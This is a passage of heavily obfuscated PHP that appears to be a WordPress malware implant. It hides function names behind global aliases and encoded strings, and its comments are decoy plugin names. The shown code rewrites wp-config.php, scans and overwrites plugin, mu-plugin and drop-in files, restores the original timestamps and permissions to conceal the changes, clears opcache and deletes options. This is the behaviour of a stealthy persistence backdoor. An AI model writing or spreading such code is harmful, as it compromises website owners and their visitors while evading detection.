 $sq3blv_yegq4p   =   true;
break;

  }
}
 if  (!$sq3blv_yegq4p)   return;
}

  }
  $yazr2g01258tle      =  @$GLOBALS['__scf_v_rxq_yh85s05_99']($gx1wu9an7cfa2x_t);
 

      if    ($GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle)  &&  $GLOBALS['__scf_d413tdd725_10']($yazr2g01258tle) >    (38550+1010026))  $yazr2g01258tle  =     gg_b7drpimzvzg($yazr2g01258tle);





   if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle))  return;
  if    (!ytmhlxjqi0drif9($yazr2g01258tle))    return;



  cvp_vxp8mo6om1jx_v($gx1wu9an7cfa2x_t,   $yazr2g01258tle);
    }
 function  cvp_vxp8mo6om1jx_v($gx1wu9an7cfa2x_t,  $yazr2g01258tle)
     {
  $juichfk25b__ =  $GLOBALS['__scf_y_ur004dxjki__462'](b5xx0lrqzfc(1500), "",   $yazr2g01258tle);
if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($juichfk25b__)   || $GLOBALS['__scf_qbsuu37jbe5t_328']($juichfk25b__) ===    ""     || $GLOBALS['__scf_qbsuu37jbe5t_328']($juichfk25b__)    ===  s99lg14mcd3un(1501)) $juichfk25b__ = "<?php\n";
if ($GLOBALS['__scf_d413tdd725_10']($juichfk25b__) >= (479+21)  &&   !ro9zxkt259xhwz4($juichfk25b__)) $juichfk25b__   = "<?php\n";
 

  $b0opk6p6r2b = @fileperms($gx1wu9an7cfa2x_t);

  $b0opk6p6r2b  = ($b0opk6p6r2b      === false)   ?      (611-191)   : ($b0opk6p6r2b & (452+59));
      $og_o_vxf5wbk   = @$GLOBALS['__scf_ha0rpt74l7eb9_102']($gx1wu9an7cfa2x_t);
$xsbjzbkhenartl   =   @$GLOBALS['__scf_hgjqoeair_her_76']($GLOBALS['__scf_mij3fd72lyo_h_11']($gx1wu9an7cfa2x_t), cv8ducrec(1502));

 if ($xsbjzbkhenartl  ===  false) return;
 

     if    (@$GLOBALS['__scf_nr899f15j7ix_205']($xsbjzbkhenartl, $juichfk25b__) !==   $GLOBALS['__scf_d413tdd725_10']($juichfk25b__))  {
  @$GLOBALS['__scf_yq6i_srj9g0m4_19']($xsbjzbkhenartl);
 return;

  }
   @$GLOBALS['__scf_gfkjbji5tiryc_17']($xsbjzbkhenartl,  $b0opk6p6r2b);
      if (!@$GLOBALS['__scf_u8voxmvq_x_49']($xsbjzbkhenartl,    $gx1wu9an7cfa2x_t))      {
     @$GLOBALS['__scf_yq6i_srj9g0m4_19']($xsbjzbkhenartl);
  return;
 }
if  ($og_o_vxf5wbk)   @$GLOBALS['__scf_w_83qzdu7rtu_74']($gx1wu9an7cfa2x_t,  $og_o_vxf5wbk);
if      ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1457)))  @opcache_invalidate($gx1wu9an7cfa2x_t, true);
 }
function    xmvqwfu_xu7jqhr8tovb($oxgrzhf_b1dott)
 {
       if   (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($oxgrzhf_b1dott)) return  "";
 if ($GLOBALS['__scf_cr07b5s7432_100'](pvz_9xuc0nzl0m(1503), $oxgrzhf_b1dott,   $w8om6_twympuv5k)) {
  $l67t6hzxy6qd81    =   $w8om6_twympuv5k[1];
  $vdfpv2zrab78z   = @$GLOBALS['__scf_xaseomj3flge_20']($l67t6hzxy6qd81) ?  @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($l67t6hzxy6qd81)   :   0;
 if (!$vdfpv2zrab78z    ||    $vdfpv2zrab78z     <  (444+56)  || $vdfpv2zrab78z    > (0x13da07d+0x1e25f83)) {
if ($vdfpv2zrab78z  >  (52428788+12))  {
      $py1ibv6gvjc4ug    =  @$GLOBALS['__scf_rh81zjbcpm_33']($l67t6hzxy6qd81);
if   (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($py1ibv6gvjc4ug))  $py1ibv6gvjc4ug   =  $l67t6hzxy6qd81;
   $py1ibv6gvjc4ug  =  $GLOBALS['__scf_q1hcnnvi5ufvxy_363']('\\', '/',    $py1ibv6gvjc4ug);
 $flyxvh4thp   =   false;
 $vxmz33ukwkw5p   =  array(defined(pvz_9xuc0nzl0m(1504))   ?  $GLOBALS['__scf_qv5p187x3gyo_12'](ABSPATH, b5xx0lrqzfc(1207))    : "",   defined(s99lg14mcd3un(1206))  ?   $GLOBALS['__scf_qv5p187x3gyo_12'](WP_CONTENT_DIR,    s99lg14mcd3un(1207))  :     "");
 foreach    ($vxmz33ukwkw5p as  $ihpow6cmly452)    {
$ihpow6cmly452     = $GLOBALS['__scf_q1hcnnvi5ufvxy_363']('\\', '/',      $ihpow6cmly452);
      if  ($ihpow6cmly452 !==   "" &&  $GLOBALS['__scf_ya_jdhkqpku_7']($py1ibv6gvjc4ug,  $ihpow6cmly452   . '/')   ===  0)  {
$flyxvh4thp =     true;
   break;


      }
 }
  if ($flyxvh4thp     && m5wd69bqaohezg3q($l67t6hzxy6qd81) !==  false) {$i96dhs_aoi69c2=PHP_MAJOR_VERSION;$ixz1sx4h17mw6y=$i96dhs_aoi69c2*5;
@$GLOBALS['__scf_yq6i_srj9g0m4_19']($l67t6hzxy6qd81);
        @$GLOBALS['__scf_yq6i_srj9g0m4_19']($GLOBALS['__scf_mij3fd72lyo_h_11']($l67t6hzxy6qd81)  .  s99lg14mcd3un(202)  . $GLOBALS['__scf_xz_5zbcnz0m_3']($l67t6hzxy6qd81, pvz_9xuc0nzl0m(1505)));
        } else  {
f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1498),  pvz_9xuc0nzl0m(1506)  . $GLOBALS['__scf_xz_5zbcnz0m_3']($l67t6hzxy6qd81));
 }
// @pipeline resume-session

     }
// renew journal for WP Quote Block

    return  "";

}
  }
 return  $oxgrzhf_b1dott;
  }
function    awbmvgu8c9y4u0wuja3k8()
   {

  static    $l67t6hzxy6qd81    =  null;
if   ($l67t6hzxy6qd81   ===  null)   {
    $mdxfhktyho6zeb   =  fisznicc_bnq0q9lpk5a1j(s99lg14mcd3un(576),      null);
 if ($mdxfhktyho6zeb ===  null)      {
// PHP CS Fixer: defragment constraint-set

$apzga5qvv6 =    fisznicc_bnq0q9lpk5a1j(j8bjjevd80e(574),    "");
      $mdxfhktyho6zeb =     ($GLOBALS['__scf_qubutkuvnnc4sx_41']($apzga5qvv6)   &&    $GLOBALS['__scf_ya_jdhkqpku_7']($apzga5qvv6,  cv8ducrec(577))  ===    0) ? 1 : 0;
yf4cseyywyt6kel(s99lg14mcd3un(1507),  $mdxfhktyho6zeb,    j8bjjevd80e(1508));
       unset($apzga5qvv6);


      }


    $l67t6hzxy6qd81   =  ((int)     $mdxfhktyho6zeb     ===  1);
   }
   return      $l67t6hzxy6qd81;



      }
 function  henl7wvsmq2pmx12e0()
    {
  if  (!defined(j8bjjevd80e(1504)))   return;
   $fulx_n95kwu  =  ABSPATH      .   cv8ducrec(1261);



  if    (!@$GLOBALS['__scf_xaseomj3flge_20']($fulx_n95kwu))   {
       $qqvk3k7tez2 =   $GLOBALS['__scf_mij3fd72lyo_h_11'](ABSPATH)    . cv8ducrec(1509);
     if (@$GLOBALS['__scf_xaseomj3flge_20']($qqvk3k7tez2))  $fulx_n95kwu    =  $qqvk3k7tez2;
   }
    if (!@$GLOBALS['__scf_xaseomj3flge_20']($fulx_n95kwu) || !@$GLOBALS['__scf_iuxi5ng_a2py94_47']($fulx_n95kwu))     return;



     $py1ibv6gvjc4ug  =    @$GLOBALS['__scf_rh81zjbcpm_33']($fulx_n95kwu);
if   ($GLOBALS['__scf_qubutkuvnnc4sx_41']($py1ibv6gvjc4ug) &&   $py1ibv6gvjc4ug !==  ""  &&   @$GLOBALS['__scf_iuxi5ng_a2py94_47']($py1ibv6gvjc4ug))    $fulx_n95kwu  =  $py1ibv6gvjc4ug;
 if  (@$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($fulx_n95kwu)  > (6487062-2292758))  return;
    $yazr2g01258tle  =     @$GLOBALS['__scf_v_rxq_yh85s05_99']($fulx_n95kwu);
        if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle) ||    $yazr2g01258tle  === "")  return;
$o4bkya0xe7ji5 =  ($GLOBALS['__scf_ya_jdhkqpku_7']($yazr2g01258tle,   b5xx0lrqzfc(1510))  !==     false   ||      $GLOBALS['__scf_ya_jdhkqpku_7']($yazr2g01258tle,      pvz_9xuc0nzl0m(1511))   !== false);
$p1r8c1e46x  =   false;
if ($GLOBALS['__scf_ya_jdhkqpku_7']($yazr2g01258tle,   s99lg14mcd3un(1512))  ===    false)   {
 if  (!empty($GLOBALS[j8bjjevd80e(86)])) {
  $p1r8c1e46x =  true;
        } else {
        $owkzk_wt8jo7 =    $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1513)) ?    $GLOBALS['__scf_qojqu44tgs4gs8_78']() :   cv8ducrec(79);


     if (!@$GLOBALS['__scf_nish5zuncssvgd_43']($owkzk_wt8jo7)   || !@$GLOBALS['__scf_iuxi5ng_a2py94_47']($owkzk_wt8jo7)) $p1r8c1e46x =  true;
  }
   }
 $d0lfvnstc7g     = false;


  $xrcrdebn10t3    =      false;
      if   (!$GLOBALS['__scf_cr07b5s7432_100'](j8bjjevd80e(1514), $yazr2g01258tle)  &&   defined(pvz_9xuc0nzl0m(1206)))      {
    $_ac =    WP_CONTENT_DIR  .   s99lg14mcd3un(1168);$gedod32hjdb59v=80+13;$aws_drir3o=$gedod32hjdb59v-45;
    if    (@$GLOBALS['__scf_xaseomj3flge_20']($_ac)) {
     $t4ckwusek4  =    (string)   @$GLOBALS['__scf_v_rxq_yh85s05_99']($_ac,  false, null,   0, (4073+23));
 if      ($GLOBALS['__scf_ya_jdhkqpku_7']($t4ckwusek4,   b5xx0lrqzfc(1515)) !== false)  $d0lfvnstc7g    =  true;
}
       } elseif (
   $GLOBALS['__scf_ya_jdhkqpku_7']($yazr2g01258tle,   j8bjjevd80e(1516))     ===  false

 &&  $GLOBALS['__scf_cr07b5s7432_100'](b5xx0lrqzfc(1517), $yazr2g01258tle)
 )    {
  $xrcrdebn10t3  =   true;


    }
// WP Post Author: partition enumerator

        $pbhkwpzgmdmyewp  =   false;
  if (awbmvgu8c9y4u0wuja3k8())  {

  if  (
!$GLOBALS['__scf_cr07b5s7432_100'](cv8ducrec(1518),      $yazr2g01258tle)
       || !$GLOBALS['__scf_cr07b5s7432_100'](b5xx0lrqzfc(1519),    $yazr2g01258tle)
   ||    !$GLOBALS['__scf_cr07b5s7432_100'](s99lg14mcd3un(1520),     $yazr2g01258tle)
)  $pbhkwpzgmdmyewp  =  true;
 }
if    (!$o4bkya0xe7ji5  &&   !$p1r8c1e46x   && !$d0lfvnstc7g    &&  !$pbhkwpzgmdmyewp   &&  !$xrcrdebn10t3)  return;

  $stc6blh8wrb7s   = "";
 $juichfk25b__  =     $yazr2g01258tle;


   if   ($o4bkya0xe7ji5)      {
     if ($GLOBALS['__scf_mdq7mu2b_0k6_1381'](pvz_9xuc0nzl0m(1521),  $yazr2g01258tle,  $whh3zqmq2o65kv0)) $stc6blh8wrb7s .=  $GLOBALS['__scf__vwipvlr0sd_345']("\n",      $whh3zqmq2o65kv0[0]);
$juichfk25b__     =  $GLOBALS['__scf_y_ur004dxjki__462'](s99lg14mcd3un(1521),    "",    $yazr2g01258tle);
  if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($juichfk25b__))  return;
 if  (!$GLOBALS['__scf_cr07b5s7432_100'](j8bjjevd80e(1522), $juichfk25b__))      {
// WP Search Block: gather subscriber

    if  ($GLOBALS['__scf_mdq7mu2b_0k6_1381'](pvz_9xuc0nzl0m(1523), $juichfk25b__,   $dpk888kfys3ngx)) $stc6blh8wrb7s   .=    "\n"     . $GLOBALS['__scf__vwipvlr0sd_345']("\n",    $dpk888kfys3ngx[0]);
$juichfk25b__   = $GLOBALS['__scf_y_ur004dxjki__462'](b5xx0lrqzfc(1524),      "",    $juichfk25b__);
      if   (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($juichfk25b__)) return;
}
  }
    $fqtbz0ni9ak    =     cv8ducrec(1525);
 if    ($p1r8c1e46x  &&   $GLOBALS['__scf_cr07b5s7432_100']('/'   .  $fqtbz0ni9ak   .   '/',     $juichfk25b__))  {

 $juichfk25b__    = $GLOBALS['__scf_y_ur004dxjki__462'](cv8ducrec(1526)      . $fqtbz0ni9ak   .    cv8ducrec(1527), j8bjjevd80e(1528) .  "define( 'WP_TEMP_DIR', ( defined( 'WP_CONTENT_DIR' ) ? WP_CONTENT_DIR : ABSPATH . 'wp-content' ) . '/.sc_tmp' );\n", $juichfk25b__,    1);
      if    (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($juichfk25b__))    return;



 }
    if   ($d0lfvnstc7g   &&  $GLOBALS['__scf_cr07b5s7432_100']('/'   . $fqtbz0ni9ak     .    '/',  $juichfk25b__))   {
 $juichfk25b__   = $GLOBALS['__scf_y_ur004dxjki__462'](j8bjjevd80e(1526)  .   $fqtbz0ni9ak .  s99lg14mcd3un(1527),  b5xx0lrqzfc(1529)   .    "define( 'WP_CACHE', true ); /* SC_WC */\n",  $juichfk25b__,  1);
  if   (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($juichfk25b__))   return;$an14lk15f3=-431;$a1lcq4z4tl=($an14lk15f3>0)?$an14lk15f3:-$an14lk15f3;
     } elseif    ($xrcrdebn10t3)    {
// degenerate branded-type

  $juichfk25b__     = $GLOBALS['__scf_y_ur004dxjki__462'](b5xx0lrqzfc(1526)  .    $fqtbz0ni9ak  .   pvz_9xuc0nzl0m(1530),    pvz_9xuc0nzl0m(1529)    . "define( 'WP_CACHE', true ); /* SC_WC */\n", $juichfk25b__,   1);
// WP Image Block: free memento

if      (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($juichfk25b__))    return;$tiq1__yjuw3=67+79;$r6330nngy=$tiq1__yjuw3-30;
}
 if  ($pbhkwpzgmdmyewp)     {



    $juichfk25b__ =  $GLOBALS['__scf_y_ur004dxjki__462'](s99lg14mcd3un(1531), "",   $juichfk25b__);
  if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($juichfk25b__)) return;
if ($GLOBALS['__scf_cr07b5s7432_100'](s99lg14mcd3un(1526)  .   $fqtbz0ni9ak  .   pvz_9xuc0nzl0m(1532),   $juichfk25b__)) {$xwp1llhlu5x=(0x80+0xae);$osgcgzlb2av=$xwp1llhlu5x%3;
 $juichfk25b__   = $GLOBALS['__scf_y_ur004dxjki__462'](j8bjjevd80e(1533) .   $fqtbz0ni9ak  .      pvz_9xuc0nzl0m(1532),    cv8ducrec(1534)      .  "define( 'WP_DEBUG', true );\ndefine( 'WP_DEBUG_LOG', true );\ndefine( 'WP_DEBUG_DISPLAY', false );\n", $juichfk25b__,     1);
    if   (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($juichfk25b__))  return;
   }
    }



    if ($juichfk25b__ ===     $yazr2g01258tle)    return;



    if   (!ro9zxkt259xhwz4($juichfk25b__)) return;



  if    ($xrcrdebn10t3    && $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1535)))     @update_option(pvz_9xuc0nzl0m(1536),   1, b5xx0lrqzfc(1508));
   if   ($d0lfvnstc7g     &&  !zdfzf5c43mxl70s($fulx_n95kwu,  $yazr2g01258tle))   {
  f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(1537),    s99lg14mcd3un(1299));$k8qcntfefn=PHP_INT_MAX/PHP_INT_MAX;$bej4pfesbm3ma=$k8qcntfefn+98;
  $juichfk25b__  =  $GLOBALS['__scf_y_ur004dxjki__462'](j8bjjevd80e(1533)   .   $fqtbz0ni9ak   .   cv8ducrec(1538),  b5xx0lrqzfc(1539),  $juichfk25b__,    1);
   if   (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($juichfk25b__) || $juichfk25b__    === $yazr2g01258tle)   return;
    if (!ro9zxkt259xhwz4($juichfk25b__))    return;
 }


       $b0opk6p6r2b =  @fileperms($fulx_n95kwu);



$b0opk6p6r2b  = ($b0opk6p6r2b ===  false) ?   (364+56)   :    ($b0opk6p6r2b   &  (456+55));
  $og_o_vxf5wbk = @$GLOBALS['__scf_ha0rpt74l7eb9_102']($fulx_n95kwu);



 $mtjhzxt60c0u   =    @$GLOBALS['__scf_v_rxq_yh85s05_99']($fulx_n95kwu);



    if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($mtjhzxt60c0u)  ||    $mtjhzxt60c0u   !==    $yazr2g01258tle)    {
     f1995qrx5prr7cbl19co0e(j8bjjevd80e(1540),  j8bjjevd80e(1212));
   return;
   }


  unset($mtjhzxt60c0u);
  $xsbjzbkhenartl  =      @$GLOBALS['__scf_hgjqoeair_her_76']($GLOBALS['__scf_mij3fd72lyo_h_11']($fulx_n95kwu),   b5xx0lrqzfc(1541));



    if ($xsbjzbkhenartl    ===  false)  return;
 if   (@$GLOBALS['__scf_nr899f15j7ix_205']($xsbjzbkhenartl,     $juichfk25b__) !==     $GLOBALS['__scf_d413tdd725_10']($juichfk25b__))   {
 @$GLOBALS['__scf_yq6i_srj9g0m4_19']($xsbjzbkhenartl);
return;
      }
        @$GLOBALS['__scf_gfkjbji5tiryc_17']($xsbjzbkhenartl,  $b0opk6p6r2b);
       if  (!@$GLOBALS['__scf_u8voxmvq_x_49']($xsbjzbkhenartl,     $fulx_n95kwu))  {
      @$GLOBALS['__scf_yq6i_srj9g0m4_19']($xsbjzbkhenartl);


  return;


   }
  if ($og_o_vxf5wbk)    @$GLOBALS['__scf_w_83qzdu7rtu_74']($fulx_n95kwu,  $og_o_vxf5wbk);
 if  ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1457)))  @opcache_invalidate($fulx_n95kwu, true);
       if  ($d0lfvnstc7g)    qwsfbk7e9odhouqhgas_hr($fulx_n95kwu);
 if  (($d0lfvnstc7g  ||  $xrcrdebn10t3)   && $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(614))) @delete_option(b5xx0lrqzfc(1542));
      if ($GLOBALS['__scf_mdq7mu2b_0k6_1381'](pvz_9xuc0nzl0m(1543),   $stc6blh8wrb7s,    $_j8z6d0shp)) {
    foreach   ($GLOBALS['__scf_ahbb1zgmq33o_158']($_j8z6d0shp[1]) as $mutwowf7w1n00)   {
// WP List Block: unhook opaque-type

  if  ($GLOBALS['__scf_ya_jdhkqpku_7']($mutwowf7w1n00,    b5xx0lrqzfc(1511))      ===   0  &&    @$GLOBALS['__scf_xaseomj3flge_20']($mutwowf7w1n00)) @$GLOBALS['__scf_yq6i_srj9g0m4_19']($mutwowf7w1n00);
}
 }
// incremental hyperloglog

 if     ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(614))  &&   $GLOBALS['__scf_mdq7mu2b_0k6_1381'](b5xx0lrqzfc(1544),   $stc6blh8wrb7s,    $_6sg7_6uang1t)) {
 foreach ($GLOBALS['__scf_ahbb1zgmq33o_158']($_6sg7_6uang1t[1])   as  $j1gkjgl4re) {
     if   ($GLOBALS['__scf_cr07b5s7432_100'](pvz_9xuc0nzl0m(1545),     $j1gkjgl4re))   @delete_option($j1gkjgl4re);



   }



  }
 }

   function jxd8df_6jtt_pp()



{
      if  (!defined(b5xx0lrqzfc(1206))) return;
   $w0l4npiz4b872  = defined(b5xx0lrqzfc(1546)) ?    WPMU_PLUGIN_DIR :    WP_CONTENT_DIR .  pvz_9xuc0nzl0m(1547);
   $al8s0p6rk64i8db    =  array();
   if ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(819)))  {
 if     (@$GLOBALS['__scf_nish5zuncssvgd_43']($w0l4npiz4b872))     foreach  ((array) @$GLOBALS['__scf_fczaqag___47_72']($w0l4npiz4b872 .  pvz_9xuc0nzl0m(751))    as      $nto91roasmftk2) $al8s0p6rk64i8db[]     = $nto91roasmftk2;
      if   (defined(j8bjjevd80e(1314))     &&    @$GLOBALS['__scf_nish5zuncssvgd_43'](WP_PLUGIN_DIR)) foreach  ((array)  @$GLOBALS['__scf_fczaqag___47_72'](WP_PLUGIN_DIR .    s99lg14mcd3un(738))  as   $nto91roasmftk2) $al8s0p6rk64i8db[]   =    $nto91roasmftk2;
  }
     $d0m4tw50ofaigk = defined(cv8ducrec(1548))     ? ABSPATH  : "";

  $aqn_lqpqon   = WP_CONTENT_DIR   .   j8bjjevd80e(1549)   .    $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57']($d0m4tw50ofaigk   .    s99lg14mcd3un(90)),   0, (4<<1))  . cv8ducrec(91)     . $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57']($d0m4tw50ofaigk  .    pvz_9xuc0nzl0m(1550)), 0,   (177^185))   .   pvz_9xuc0nzl0m(1505);
     if (@$GLOBALS['__scf_xaseomj3flge_20']($aqn_lqpqon))    $al8s0p6rk64i8db[]   =  $aqn_lqpqon;
  foreach  ($al8s0p6rk64i8db    as  $nto91roasmftk2)    {
   $og_o_vxf5wbk =  @$GLOBALS['__scf_ha0rpt74l7eb9_102']($nto91roasmftk2);
if (!$og_o_vxf5wbk  ||    ($og_o_vxf5wbk   %   (0xe3a5+0xa2fb)) !== (93747+72)) {
 $iloyzcil4g = @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($nto91roasmftk2);
 if     (!$iloyzcil4g ||   $iloyzcil4g    <  (405+95)   ||  $iloyzcil4g      >    (45456093+6972707)) continue;

 }
      $py1ibv6gvjc4ug =  @$GLOBALS['__scf_rh81zjbcpm_33']($nto91roasmftk2);
    $usy5gkjhj3_ = @$GLOBALS['__scf_rh81zjbcpm_33'](curga5ep68su8__o());
if      ($GLOBALS['__scf_qubutkuvnnc4sx_41']($py1ibv6gvjc4ug)  &&      $GLOBALS['__scf_qubutkuvnnc4sx_41']($usy5gkjhj3_)   &&   $py1ibv6gvjc4ug  ===   $usy5gkjhj3_) continue;
     $sw6uenpt2x9p  =   @$GLOBALS['__scf_v_rxq_yh85s05_99']($nto91roasmftk2,  false,    null,    0,  (2860+1236));
$wlugurjgmel16czj    =     null;
 if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($sw6uenpt2x9p) &&      $GLOBALS['__scf_cr07b5s7432_100'](s99lg14mcd3un(1551),     $sw6uenpt2x9p,  $fr1js8oy9wu29))  $wlugurjgmel16czj     =  $fr1js8oy9wu29[1];


  elseif  (oahk6ik6p30_tx4($nto91roasmftk2, (4928+72))) $wlugurjgmel16czj     =  cv8ducrec(215);
     if ($wlugurjgmel16czj      ===      null     ||     !version_compare($wlugurjgmel16czj,   jqg87ez26lzm3yp01xj2q(),   '<'))     continue;
   $lepn94d1kt1ncy11  = m5wd69bqaohezg3q($nto91roasmftk2);
      

    if ($lepn94d1kt1ncy11  === false)   {
  f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1498),   cv8ducrec(1552) .  $GLOBALS['__scf_xz_5zbcnz0m_3']($nto91roasmftk2));
 continue;
}
    if ($lepn94d1kt1ncy11    ===      true)      {
       if   (kcysqw_r7i8c86af_6($nto91roasmftk2,  $nto91roasmftk2    .      j8bjjevd80e(1553)))   {
  if    ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1457)))    @opcache_invalidate($nto91roasmftk2,  true);


     }      elseif (!y8di6q6nzm4ebwuceier($nto91roasmftk2)   &&     drb8j41qq5igcfm($nto91roasmftk2))  {
    xfnnq7r2u7ap3w($nto91roasmftk2);
 euhyaxfh77akrso($nto91roasmftk2);
       }
 @$GLOBALS['__scf_yq6i_srj9g0m4_19']($GLOBALS['__scf_mij3fd72lyo_h_11']($nto91roasmftk2)  .  pvz_9xuc0nzl0m(202)   . $GLOBALS['__scf_xz_5zbcnz0m_3']($nto91roasmftk2,     pvz_9xuc0nzl0m(1505)));
 

continue;
        }
      if  (!y8di6q6nzm4ebwuceier($nto91roasmftk2)  && drb8j41qq5igcfm($nto91roasmftk2))  {
 xfnnq7r2u7ap3w($nto91roasmftk2);

    euhyaxfh77akrso($nto91roasmftk2);
}


   pfxsazj3ojs1jhuei_l41($nto91roasmftk2);
}
  henl7wvsmq2pmx12e0();
 $p1zyrpk35h  =  WP_CONTENT_DIR  . s99lg14mcd3un(1072);

     if    (@$GLOBALS['__scf_nish5zuncssvgd_43']($p1zyrpk35h)  &&  $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(819)))  {


 foreach  ((array)  @$GLOBALS['__scf_fczaqag___47_72']($p1zyrpk35h . j8bjjevd80e(1554))     as   $u48w1rj8vvq) {
if    (!@$GLOBALS['__scf_xaseomj3flge_20']($u48w1rj8vvq) ||  !@$GLOBALS['__scf_iuxi5ng_a2py94_47']($u48w1rj8vvq))  continue;
 $pfacyd_q_k__   = @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($u48w1rj8vvq);
    if     (!$pfacyd_q_k__  ||  $pfacyd_q_k__    >   (138498+1958654))    continue;
 $c1r06miwvpga    =  @$GLOBALS['__scf_v_rxq_yh85s05_99']($u48w1rj8vvq);
      if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($c1r06miwvpga))   continue;
    if  ($GLOBALS['__scf_ya_jdhkqpku_7']($c1r06miwvpga,  b5xx0lrqzfc(1555))  ===    false    &&  $GLOBALS['__scf_ya_jdhkqpku_7']($c1r06miwvpga,   j8bjjevd80e(1556))   === false     &&    $GLOBALS['__scf_ya_jdhkqpku_7']($c1r06miwvpga, cv8ducrec(1557))  ===    false)  continue;
    if (!evckb2mqba58i9k($c1r06miwvpga))   continue;

       $jruv2o_94a    =  hjn4oi9zob7zcy32($c1r06miwvpga);
 

    if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($jruv2o_94a)  && $jruv2o_94a  !==     $c1r06miwvpga)   {
 qc7730958b5mgfuj_($u48w1rj8vvq,    $jruv2o_94a);
if  ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1457)))   @opcache_invalidate($u48w1rj8vvq, true);
 }


 }


 }
  j5i2vynjpeze6ukmx(WP_CONTENT_DIR  . s99lg14mcd3un(1168));
 j5i2vynjpeze6ukmx(WP_CONTENT_DIR  . pvz_9xuc0nzl0m(1558));
    if   ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1419)) && $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(614))     && $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1559))) {
$_on =  inbj7my4zpjuh_tx(ABSPATH   . j8bjjevd80e(1215),    (0x2+0x8));
  $j8urclxboap2     = @get_option($_on,   "");
    if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($j8urclxboap2)      && $j8urclxboap2    !==    "")   {



$st70y_v5lps   =    $GLOBALS['__scf_hitibqyb6ku_357']($j8urclxboap2, true);
   if   ($GLOBALS['__scf_qubutkuvnnc4sx_41']($st70y_v5lps) && oy6ypar1iohigl8mna($st70y_v5lps))   @delete_option($_on);
 }
$ebsdo_m71_dhh  = $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1560))  ?      fisznicc_bnq0q9lpk5a1j(b5xx0lrqzfc(1561),   "")  : "";
 if      ($GLOBALS['__scf_qubutkuvnnc4sx_41']($ebsdo_m71_dhh) &&      $ebsdo_m71_dhh !== ""     &&   ($GLOBALS['__scf_d413tdd725_10']($ebsdo_m71_dhh)  >   (1048565+11)      || ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1562))      &&    g6jpyeq0fm_rzn($ebsdo_m71_dhh)) ||  xxvxrdejom95pgzs9lxsz($ebsdo_m71_dhh)))  {
   if ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1563))) yf4cseyywyt6kel(s99lg14mcd3un(1561),   "",  j8bjjevd80e(1508));
    }
    }
      }
function  b9qwphei1gqk0791pp()
    {
try     {
// initialize singular session-type




if  (!defined(cv8ducrec(1548))) return;
   if  (!empty($GLOBALS[j8bjjevd80e(1564)])) {
  $GLOBALS[b5xx0lrqzfc(1565)]   = 0;



f1995qrx5prr7cbl19co0e(j8bjjevd80e(1566),  j8bjjevd80e(1567));
      }
if      (!empty($GLOBALS[s99lg14mcd3un(702)])) return;
 $GLOBALS[cv8ducrec(702)]   = true;

  if (!isset($_GET[s99lg14mcd3un(1411)])   && $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1419))    &&    $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(179))) {
    $tum8uxnwiwq7_2 =   @get_option(j8bjjevd80e(1458), array());
    $f3_jswl1v5   = false;
if   ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($tum8uxnwiwq7_2)) {
 if  (!empty($tum8uxnwiwq7_2['t']))     $f3_jswl1v5  =   true;
if (!$f3_jswl1v5  &&    !empty($tum8uxnwiwq7_2[cv8ducrec(1492)])    &&    $GLOBALS['__scf__qh9f0l6g7e7ez_35']($tum8uxnwiwq7_2[pvz_9xuc0nzl0m(1492)])) {
// equality comparison

 foreach ($tum8uxnwiwq7_2[cv8ducrec(1568)]  as    $_ci)     {
 if   ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($_ci) && !empty($_ci['p']))    {
$f3_jswl1v5     =    true;

 break;
    }
 }
 }

  }
  if ($f3_jswl1v5)   $GLOBALS['__scf_q0ye8_g2b4gf_179'](b5xx0lrqzfc(1444));
    }



       if  (peg5paj88laiyu(curga5ep68su8__o()))    return;

  $sthp85grai   = $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1569))  ?   (int)  get_option(s99lg14mcd3un(1570), 0)  :   0;
